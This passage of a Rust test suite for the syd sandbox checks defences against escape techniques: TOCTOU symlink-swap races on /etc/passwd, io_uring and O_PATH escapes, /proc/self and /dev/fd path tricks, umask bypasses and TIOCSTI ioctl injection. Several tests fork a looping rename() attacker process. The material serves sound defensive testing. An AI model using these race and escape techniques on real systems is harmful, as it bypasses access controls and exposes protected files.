        .m("deny/stat+/etc/***")
        .m("allow/stat+/etc/ld*")
        .m("deny/write+/**/deny.syd-tmp*")
        .m("filter/write+/**/deny.syd-tmp*")
        .do_("ptrmod_toctou_creat", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_ptrmod_toctou_opath_default() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .m("allow/stat+/etc")
        .m("deny/stat+/etc/**")
        .m("allow/stat+/etc/ld*")
        .m("deny/read,stat,write+/etc/passwd")
        .do_("ptrmod_toctou_opath", NONE)
        .status()
        .expect("execute syd");
    // By default we turn O_PATH to O_RDONLY so there's no TOCTOU.
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ptrmod_toctou_opath_unsafe() -> TestResult {
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_open:1")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .m("allow/stat+/etc")
        .m("deny/stat+/etc/**")
        .m("allow/stat+/etc/ld*")
        .m("deny/read,stat,write+/etc/passwd")
        .do_("ptrmod_toctou_opath", NONE)
        .status()
        .expect("execute syd");
    // FIXME: https://bugzilla.kernel.org/show_bug.cgi?id=218501
    fixup!(status.success(), "status:{status:?}");

    Ok(())
}

fn test_syd_vfsmod_toctou_mmap() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/lib-bad/*.so")
        .m("filter/exec+/**/lib-bad/*.so")
        .do_("vfsmod_toctou_mmap", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_vfsmod_toctou_open_file_off() -> TestResult {
    // We run the attacker thread unsandboxed,
    // to increase the likelihood of the race.
    File::create("./benign")?;
    symlink("/etc/passwd", "./symlink")?;

    eprintln!("Forking background attacker process...");
    let attacker = match unsafe { fork() }? {
        ForkResult::Parent { child, .. } => child,
        ForkResult::Child => {
            // Perform a VFS symlink modification attack.
            let f = b"./benign\0";
            let s = b"./symlink\0";
            let t = b"./tmp\0";

            loop {
                unsafe {
                    // Rename between benign file and malicious symlink.
                    nix::libc::rename(f.as_ptr().cast(), t.as_ptr().cast());
                    nix::libc::rename(s.as_ptr().cast(), f.as_ptr().cast());
                    nix::libc::rename(f.as_ptr().cast(), s.as_ptr().cast());
                    nix::libc::rename(t.as_ptr().cast(), f.as_ptr().cast());
                }
            }
        }
    };

    // This test is to ensure the TOCTOU attack is sane and works.
    let status = syd()
        .p("off")
        .do_("vfsmod_toctou_open_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    eprintln!("Killing background attacker process...");
    let _ = kill(attacker, Signal::SIGKILL);

    Ok(())
}

fn test_syd_vfsmod_toctou_open_file_deny() -> TestResult {
    // We run the attacker thread unsandboxed,
    // to increase the likelihood of the race.
    File::create("./benign")?;
    symlink("/etc/passwd", "./symlink")?;

    eprintln!("Forking background attacker process...");
    let attacker = match unsafe { fork() }? {
        ForkResult::Parent { child, .. } => child,
        ForkResult::Child => {
            // Perform a VFS symlink modification attack.
            let f = b"./benign\0";
            let s = b"./symlink\0";
            let t = b"./tmp\0";

            loop {
                unsafe {
                    // Rename between benign file and malicious symlink.
                    nix::libc::rename(f.as_ptr().cast(), t.as_ptr().cast());
                    nix::libc::rename(s.as_ptr().cast(), f.as_ptr().cast());
                    nix::libc::rename(f.as_ptr().cast(), s.as_ptr().cast());
                    nix::libc::rename(t.as_ptr().cast(), f.as_ptr().cast());
                }
            }
        }
    };

    let status = syd()
        .p("off")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .m("deny/read+/etc/passwd")
        .m("filter/read+/etc/passwd")
        .do_("vfsmod_toctou_open_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    eprintln!("Killing background attacker process...");
    let _ = kill(attacker, Signal::SIGKILL);

    Ok(())
}

fn test_syd_vfsmod_toctou_open_path_off() -> TestResult {
    // We run the attacker thread unsandboxed,
    // to increase the likelihood of the race.
    create_dir_all("./benign")?;
    File::create("./benign/passwd")?;
    symlink("/etc", "./symlink")?;

    eprintln!("Forking background attacker process...");
    let attacker = match unsafe { fork() }.expect("fork") {
        ForkResult::Parent { child, .. } => child,
        ForkResult::Child => {
            // Perform a VFS symlink modification attack.
            let f = b"./benign\0";
            let s = b"./symlink\0";
            let t = b"./tmp\0";

            loop {
                unsafe {
                    // Rename between benign file and malicious symlink.
                    nix::libc::rename(f.as_ptr().cast(), t.as_ptr().cast());
                    nix::libc::rename(s.as_ptr().cast(), f.as_ptr().cast());
                    nix::libc::rename(f.as_ptr().cast(), s.as_ptr().cast());
                    nix::libc::rename(t.as_ptr().cast(), f.as_ptr().cast());
                }
            }
        }
    };

    // This test is to ensure the TOCTOU attack is sane and works.
    let status = syd()
        .p("off")
        .do_("vfsmod_toctou_open_path", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    eprintln!("Killing background attacker process...");
    let _ = kill(attacker, Signal::SIGKILL);

    Ok(())
}

fn test_syd_vfsmod_toctou_open_path_deny() -> TestResult {
    // We run the attacker thread unsandboxed,
    // to increase the likelihood of the race.
    create_dir_all("./benign")?;
    File::create("./benign/passwd")?;
    symlink("/etc", "./symlink")?;

    eprintln!("Forking background attacker process...");
    let attacker = match unsafe { fork() }.expect("fork") {
        ForkResult::Parent { child, .. } => child,
        ForkResult::Child => {
            // Perform a VFS symlink modification attack.
            let f = b"./benign\0";
            let s = b"./symlink\0";
            let t = b"./tmp\0";

            loop {
                unsafe {
                    // Rename between benign file and malicious symlink.
                    nix::libc::rename(f.as_ptr().cast(), t.as_ptr().cast());
                    nix::libc::rename(s.as_ptr().cast(), f.as_ptr().cast());
                    nix::libc::rename(f.as_ptr().cast(), s.as_ptr().cast());
                    nix::libc::rename(t.as_ptr().cast(), f.as_ptr().cast());
                }
            }
        }
    };

    let status = syd()
        .p("off")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .m("deny/read+/etc/passwd")
        .m("filter/read+/etc/passwd")
        .do_("vfsmod_toctou_open_path", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    eprintln!("Killing background attacker process...");
    let _ = kill(attacker, Signal::SIGKILL);

    Ok(())
}

fn test_syd_io_uring_escape_strict() -> TestResult {
    #[cfg(feature = "uring")]
    {
        // Step 1: Default is strict.
        let status = syd()
            .p("off")
            .m("sandbox/read,stat,write:on")
            .m("allow/read,stat,write+/***")
            .m("deny/stat+/etc/***")
            .m("allow/stat+/etc/ld*")
            .m("deny/read,write+/etc/passwd")
            .do_("io_uring_escape", ["0"])
            .status()
            .expect("execute syd");
        assert_status_ok!(status);
    }
    Ok(())
}

fn test_syd_io_uring_escape_unsafe() -> TestResult {
    #[cfg(feature = "uring")]
    {
        // Step 2: Relax uring restriction.
        let status = syd()
            .p("off")
            .m("sandbox/read,stat,write:on")
            .m("allow/read,stat,write+/***")
            .m("deny/stat+/etc/***")
            .m("allow/stat+/etc/ld*")
            .m("deny/read,write+/etc/passwd")
            .m("trace/allow_unsafe_uring:1")
            .do_("io_uring_escape", ["1"])
            .status()
            .expect("execute syd");
        assert_status_ok!(status);
    }

    Ok(())
}

fn test_syd_opath_escape() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .m("deny/stat+/etc/***")
        .m("allow/stat+/etc/ld*")
        .m("deny/read,write+/etc/passwd")
        .do_("opath_escape", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .do_("devfd_escape_open", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_1() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .do_("devfd_escape_open_relpath_1", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_2() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .do_("devfd_escape_open_relpath_2", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_3() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .do_("devfd_escape_open_relpath_3", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_4() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .do_("devfd_escape_open_relpath_4", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_5() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .do_("devfd_escape_open_relpath_5", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_6() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .do_("devfd_escape_open_relpath_6", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_7() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .do_("devfd_escape_open_relpath_7", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_8() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .do_("devfd_escape_open_relpath_8", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_9() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .do_("devfd_escape_open_relpath_9", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_10() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .do_("devfd_escape_open_relpath_10", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_11() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .do_("devfd_escape_open_relpath_11", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_12() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .do_("devfd_escape_open_relpath_12", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_13() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .do_("devfd_escape_open_relpath_13", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_14() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .do_("devfd_escape_open_relpath_14", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_15() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .do_("devfd_escape_open_relpath_15", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_16() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .do_("devfd_escape_open_relpath_16", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_17() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .do_("devfd_escape_open_relpath_17", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_18() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .do_("devfd_escape_open_relpath_18", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_19() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .do_("devfd_escape_open_relpath_19", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_20() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .do_("devfd_escape_open_relpath_20", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .do_("procself_escape_open", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open_relpath_1() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .do_("procself_escape_open_relpath_1", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open_relpath_2() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .do_("procself_escape_open_relpath_2", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open_relpath_3() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .do_("procself_escape_open_relpath_3", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open_relpath_4() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .do_("procself_escape_open_relpath_4", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open_relpath_5() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .do_("procself_escape_open_relpath_5", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open_relpath_6() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .do_("procself_escape_open_relpath_6", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open_relpath_7() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .do_("procself_escape_open_relpath_7", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_relpath() -> TestResult {
    skip_unless_available!("grep");

    let status = syd()
        .p("off")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .argv(["grep", "Name:[[:space:]]syd", "/proc/./self/status"])
        .status()
        .expect("execute syd");
    assert!(
        status.code().unwrap_or(127) == 1,
        "code:{:?}",
        status.code()
    );
    Ok(())
}

fn test_syd_procself_escape_symlink() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .do_("procself_escape_symlink", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_symlink_within_container() -> TestResult {
    skip_unless_unshare!();

    let status = syd()
        .p("off")
        .p("container")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .do_("procself_escape_symlink", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_rmdir_escape_file() -> TestResult {
    if let Err(errno) = mkdir("foo", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 1: {errno}"
        )));
    } else if let Err(errno) = mkdir("foo (deleted)", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 2: {errno}"
        )));
    }

    let status = syd()
        .p("off")
        .m("sandbox/net,write:on")
        .m("allow/write+/***")
        .m("deny/write+/**/* (deleted)/***")
        .m("allow/net/bind+/***")
        .m("deny/net/bind+/**/* (deleted)/***")
        .do_("rmdir_cwd_and_create_file", ["foo"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    if path_exists(Path::new("./foo (deleted)/escape")).is_ok() {
        Err(TestError("Sandbox escape by rmdir CWD!".to_string()))
    } else if path_exists(Path::new("./foo/escape")).is_ok() {
        Err(TestError("Sandbox create by rmdir CWD!".to_string()))
    } else {
        Ok(())
    }
}

fn test_syd_rmdir_escape_dir() -> TestResult {
    if let Err(errno) = mkdir("foo", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 1: {errno}"
        )));
    } else if let Err(errno) = mkdir("foo (deleted)", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 2: {errno}"
        )));
    }

    let status = syd()
        .p("off")
        .m("sandbox/net,write:on")
        .m("allow/write+/***")
        .m("deny/write+/**/* (deleted)/***")
        .m("allow/net/bind+/***")
        .m("deny/net/bind+/**/* (deleted)/***")
        .do_("rmdir_cwd_and_create_dir", ["foo"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    if path_exists(Path::new("./foo (deleted)/escape")).is_ok() {
        Err(TestError("Sandbox escape by rmdir CWD!".to_string()))
    } else if path_exists(Path::new("./foo/escape")).is_ok() {
        Err(TestError("Sandbox create by rmdir CWD!".to_string()))
    } else {
        Ok(())
    }
}

fn test_syd_rmdir_escape_fifo() -> TestResult {
    if let Err(errno) = mkdir("foo", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 1: {errno}"
        )));
    } else if let Err(errno) = mkdir("foo (deleted)", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 2: {errno}"
        )));
    }

    let status = syd()
        .p("off")
        .m("sandbox/net,write:on")
        .m("allow/write+/***")
        .m("deny/write+/**/* (deleted)/***")
        .m("allow/net/bind+/***")
        .m("deny/net/bind+/**/* (deleted)/***")
        .do_("rmdir_cwd_and_create_fifo", ["foo"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    if path_exists(Path::new("./foo (deleted)/escape")).is_ok() {
        Err(TestError("Sandbox escape by rmdir CWD!".to_string()))
    } else if path_exists(Path::new("./foo/escape")).is_ok() {
        Err(TestError("Sandbox create by rmdir CWD!".to_string()))
    } else {
        Ok(())
    }
}

fn test_syd_rmdir_escape_unix() -> TestResult {
    if let Err(errno) = mkdir("foo", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 1: {errno}"
        )));
    } else if let Err(errno) = mkdir("foo (deleted)", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 2: {errno}"
        )));
    }

    let status = syd()
        .p("off")
        .m("sandbox/net,write:on")
        .m("allow/write+/***")
        .m("deny/write+/**/* (deleted)/***")
        .m("allow/net/bind+/***")
        .m("deny/net/bind+/**/* (deleted)/***")
        .do_("rmdir_cwd_and_create_unix", ["foo"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    if path_exists(Path::new("./foo (deleted)/escape")).is_ok() {
        Err(TestError("Sandbox escape by rmdir CWD!".to_string()))
    } else if path_exists(Path::new("./foo/escape")).is_ok() {
        Err(TestError("Sandbox create by rmdir CWD!".to_string()))
    } else {
        Ok(())
    }
}

fn test_syd_umask_bypass_077() -> TestResult {
    // Set a liberal umask as the test expects.
    let prev_umask = umask(Mode::from_bits_truncate(0o022));
    let status = syd()
        .p("off")
        .m("sandbox/write:on")
        .m("allow/write+/***")
        .do_("umask_bypass_077", NONE)
        .status()
        .expect("execute syd");
    let _ = umask(prev_umask);

    assert_status_ok!(status);
    Ok(())
}

fn test_syd_umask_bypass_277() -> TestResult {
    // Set a liberal umask as the test expects.
    let prev_umask = umask(Mode::from_bits_truncate(0o022));
    let status = syd()
        .p("off")
        .m("sandbox/write:on")
        .m("allow/write+/***")
        .do_("umask_bypass_277", NONE)
        .status()
        .expect("execute syd");
    let _ = umask(prev_umask);

    assert_status_ok!(status);
    Ok(())
}

fn test_syd_emulate_opath() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .do_("emulate_opath", NONE)
        .status()
        .expect("execute syd");

    assert_status_ok!(status);
    Ok(())
}

fn test_syd_emulate_otmpfile() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/write:on")
        .m("allow/write+/***")
        .do_("emulate_otmpfile", NONE)
        .status()
        .expect("execute syd");

    assert_status_ok!(status);
    Ok(())
}

fn test_syd_honor_umask_000() -> TestResult {
    let prev_umask = umask(Mode::from_bits_truncate(0));

    let status = syd()
        .p("off")
        .m("sandbox/write:on")
        .m("allow/write+/***")
        .do_("honor_umask", ["0666"])
        .status()
        .expect("execute syd");

    let _ = umask(prev_umask);

    assert_status_ok!(status);

    Ok(())
}

fn test_syd_honor_umask_022() -> TestResult {
    let prev_umask = umask(Mode::from_bits_truncate(0o022));

    let status = syd()
        .p("off")
        .m("sandbox/write:on")
        .m("allow/write+/***")
        .do_("honor_umask", ["0644"])
        .status()
        .expect("execute syd");

    let _ = umask(prev_umask);

    assert_status_ok!(status);

    Ok(())
}

fn test_syd_honor_umask_077() -> TestResult {
    let prev_umask = umask(Mode::from_bits_truncate(0o077));

    let status = syd()
        .p("off")
        .m("sandbox/write:on")
        .m("allow/write+/***")
        .do_("honor_umask", ["0600"])
        .status()
        .expect("execute syd");

    let _ = umask(prev_umask);

    assert_status_ok!(status);

    Ok(())
}

fn test_syd_force_umask_bypass_with_open() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/write:on")
        .m("allow/write+/***")
        .do_("force_umask_bypass_with_open", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    let status = syd()
        .p("off")
        .m("trace/force_umask:7177")
        .m("sandbox/write:on")
        .m("allow/write+/***")
        .do_("force_umask_bypass_with_open", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_force_umask_bypass_with_mknod() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/write:on")
        .m("allow/write+/***")
        .do_("force_umask_bypass_with_mknod", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    let status = syd()
        .p("off")
        .m("trace/force_umask:7177")
        .m("sandbox/write:on")
        .m("allow/write+/***")
        .do_("force_umask_bypass_with_mknod", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_force_umask_bypass_with_mkdir() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/write:on")
        .m("allow/write+/***")
        .do_("force_umask_bypass_with_mkdir", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    let status = syd()
        .p("off")
        .m("trace/force_umask:7177")
        .m("sandbox/write:on")
        .m("allow/write+/***")
        .do_("force_umask_bypass_with_mkdir", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    Ok(())
}

fn test_syd_force_umask_bypass_with_fchmod() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/write:on")
        .m("allow/write+/***")
        .do_("force_umask_bypass_with_fchmod", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    let status = syd()
        .p("off")
        .m("trace/force_umask:7177")
        .m("sandbox/write:on")
        .m("allow/write+/***")
        .do_("force_umask_bypass_with_fchmod", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_open_utf8_invalid() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/write:on")
        .m("allow/write+/***")
        .do_("open_utf8_invalid", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_exec_in_inaccessible_directory() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("sandbox/exec,write:on")
        .m("allow/exec,write+/***")
        .do_("exec_in_inaccessible_directory", NONE)
        .status()
        .expect("execute syd");

    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fstat_on_pipe() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/stat:on")
        .m("allow/stat+/***")
        .do_("fstat_on_pipe", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fstat_on_socket() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/stat:on")
        .m("allow/stat+/***")
        .do_("fstat_on_socket", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fstat_on_deleted_file() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("fstat_on_deleted_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fstat_on_temp_file() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("fstat_on_temp_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fchmodat_on_proc_fd() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("fchmodat_on_proc_fd", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_linkat_on_fd() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("linkat_on_fd", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_block_ioctl_tiocsti_default() -> TestResult {
    // Ioctl sandboxing is off by default, however the denylist is
    // processed anyway.
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("block_ioctl_tiocsti", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_block_ioctl_tiocsti_dynamic() -> TestResult {
    // Turn Ioctl sandboxing on and check.
    let status = syd()
        .p("off")
        .m("sandbox/ioctl,read,stat,write:on")
        .m("allow/ioctl,read,stat,write+/***")
        .do_("block_ioctl_tiocsti", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_block_ioctl_tiocsti_sremadd() -> TestResult {
    // Ioctl sandboxing is off by default, however the denylist is
    // processed anyway. We explicitly remove TIOCSTI from denylist and
    // check.
    let status = syd()
        .p("off")
        .m("ioctl/deny-0x5412")
        .m("ioctl/allow+0x5412")
        .m("ioctl/deny+0x5412")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("block_ioctl_tiocsti", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_block_ioctl_tiocsti_sremove() -> TestResult {
    // Ioctl sandboxing is off by default, however the denylist is
    // processed anyway. We explicitly remove TIOCSTI from denylist and
    // check.
    let status = syd()
        .p("off")
        .m("ioctl/deny-0x5412")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("block_ioctl_tiocsti", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    Ok(())
}

fn test_syd_block_ioctl_tiocsti_dremove() -> TestResult {
    skip_unless_available!("sh");

    // Ioctl sandboxing is off by default, however the denylist is
    // processed anyway. We explicitly remove TIOCSTI from denylist at
    // runtime and check.
    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("ioctl/deny-0x5412")
        .m("sandbox/ioctl,read,stat,write:on")
        .m("allow/ioctl,read,stat,write+/***")
        .do__("block_ioctl_tiocsti")
        .arg("sh")
        .arg("-cex")
        .arg(format!(
            "
# Expect TIOCSTI is allowed.
r=0
{syd_do} || r=$?
test $r -eq 1

# Deny TIOCSTI.
test -c /dev/syd/ioctl/deny+0x5412

# Expect TIOCSTI is denied.
r=0
{syd_do} || r=$?
test $r -eq 0

# Allow TIOCSTI by removing the deny.
test -c /dev/syd/ioctl/deny-0x5412

# Expect TIOCSTI is allowed.
r=0
{syd_do} || r=$?
test $r -eq 1

# Deny TIOCSTI and allow back again.
test -c /dev/syd/ioctl/deny+0x5412
test -c /dev/syd/ioctl/allow+0x5412

# Expect TIOCSTI is allowed.
r=0
{syd_do} || r=$?
test $r -eq 1

# Deny one last time.
test -c /dev/syd/ioctl/deny+0x5412

# Expect TIOCSTI is denied.
r=0
{syd_do} || r=$?
test $r -eq 0

true"
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_block_prctl_ptrace() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
